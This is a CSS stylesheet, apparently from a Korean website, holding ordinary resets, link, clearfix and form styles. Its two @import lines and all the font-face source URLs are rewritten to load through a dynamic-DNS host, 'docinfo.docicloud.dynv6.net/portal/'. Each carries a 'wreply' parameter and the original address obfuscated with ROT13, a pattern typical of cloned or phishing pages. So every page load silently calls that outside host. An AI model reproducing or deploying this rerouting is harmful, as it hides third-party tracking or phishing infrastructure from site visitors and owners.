@charset "utf-8";

@import url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spqa.enjtvg.pbz%2Szbbafcnz%2SAnahzFdhner%2Sznfgre%2Sanahzfdhner.pff);
@import url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Ssbagf.tbbtyrncvf.pbz%2Spff%3Ssnzvyl%3QXnavg);

/* nanum-pen-script-regular - latin */
@font-face {
  font-family: 'Nanum Pen Script';
  font-style: normal;
  font-weight: 400;
  src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svqrn.purbatwh.tb.xe%2Serfbheprf%2Spvgvmra2%2Syvo%2Spff%2Sanahz-cra-fpevcg-i6-xberna_yngva-erthyne.rbg'); /* IE9 Compat Modes */
  src: local('Nanum Pen'), local('NanumPen'),
       url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svqrn.purbatwh.tb.xe%2Serfbheprf%2Spvgvmra2%2Syvo%2Spff%2Sanahz-cra-fpevcg-i6-xberna_yngva-erthyne.rbg%3S%23vrsvk##iefix') format('embedded-opentype'), /* IE6-IE8 */
       url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svqrn.purbatwh.tb.xe%2Serfbheprf%2Spvgvmra2%2Syvo%2Spff%2Sanahz-cra-fpevcg-i6-xberna_yngva-erthyne.jbss2') format('woff2'), /* Super Modern Browsers */
       url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svqrn.purbatwh.tb.xe%2Serfbheprf%2Spvgvmra2%2Syvo%2Spff%2Sanahz-cra-fpevcg-i6-xberna_yngva-erthyne.jbss') format('woff'), /* Modern Browsers */
       url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svqrn.purbatwh.tb.xe%2Serfbheprf%2Spvgvmra2%2Syvo%2Spff%2Sanahz-cra-fpevcg-i6-xberna_yngva-erthyne.ggs') format('truetype'), /* Safari, Android, iOS */
       url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svqrn.purbatwh.tb.xe%2Serfbheprf%2Spvgvmra2%2Syvo%2Spff%2Sanahz-cra-fpevcg-i6-xberna_yngva-erthyne.fit%23AnahzCraFpevcg##NanumPenScript') format('svg'); /* Legacy iOS */
}

/* Basic */
* {padding:0; margin:0;}
html {overflow-y:scroll;}
body {
	background:#fff;
	word-break:break-all;
	font-size:0.9em;
	line-height:1.5em;
	font-family:"Malgun Gothic",Dotum,Helvetica,AppleGothic,Sans-serif;
	color:#555;
}
caption, hr {display:none;}
dd {text-align:justify;}
fieldset, img {border:0px;}

/* Tag구문(Construction) */
strong{font-weight:600;}
em,dfn,cite,address{font-style:normal;}
sup,sub{font-size:0.92em;}
del{text-decoration:line-through;}
button{margin:0;padding:0;border:none;background:none;cursor:pointer;}
button::-moz-focus-inner{margin:0;padding:0;background:none;border:0;}
span.button,img.button,a.button{cursor:pointer;vertical-align:middle;}
ol, ul, li, dd{list-style:none;}
table{border-collapse:collapse;border-spacing:0;}
legend{position:absolute;visibility:hidden;overflow:hidden;width:0;height:0;font-size:0%;}
table caption{position:absolute;overflow:hidden;visibility:hidden;height:0;width:0;font-size:0;line-height:0;}

a:link{color:#636363;text-decoration:none;}
a:visited{color:#636363;}
a:hover{color:#343848; text-decoration:underline;}
a:active{color:#343848;}
span.button,img.button,a.button{cursor:pointer;vertical-align:middle;}

/* Basic - clearfix */
.clearfix:after {display:block; clear:both; content:"."; visibility:hidden; height:0;}
.clearfix {display: inline-block;}
* html .clearfix {height: 1%;}
.clearfix {display: block;}

/* Basic - etc */
.clrBoth {clear: both; font-size: 1px; line-height: 1px;}
.dplOn {display:block}
.dplOff {display:none}

.skip {position:absolute; overflow:hidden; height:0; width:0; font-size:0; visibility:hidden;}

#errorPage {
	margin:20px;
	padding:20px;
	border:1px solid;
	line-height:20px;
	display:block;
}
#errorPage span {
	font-size:20px;
	font-weight:bold;
}

.brdline {border:1px #CCC solid; margin-left:5px}
.inpline {border:1px #CCC solid; padding:3px; height:23px; vertical-align:middle; ime-mode:inactive}
.textarea {border:1px #CCC solid; padding:3px 0 0 2px; height:18px; vertical-align:middle; ime-mode:inactive}
.selline {border:1px #CCC solid; font-size:14px; height:30px; vertical-align:middle; padding:2px;}
.nonbox {font-size: 9pt; border:0 solid #000000;background-color:white;  } 
.chkline {margin:0 3px -1px 0;}
.rdoline {margin:0 3px -1px 0;}
/* Basic - space */
.space05 {height:5px}
.space10 {height:10px}
.space15 {height:15px}
.space20 {height:20px}
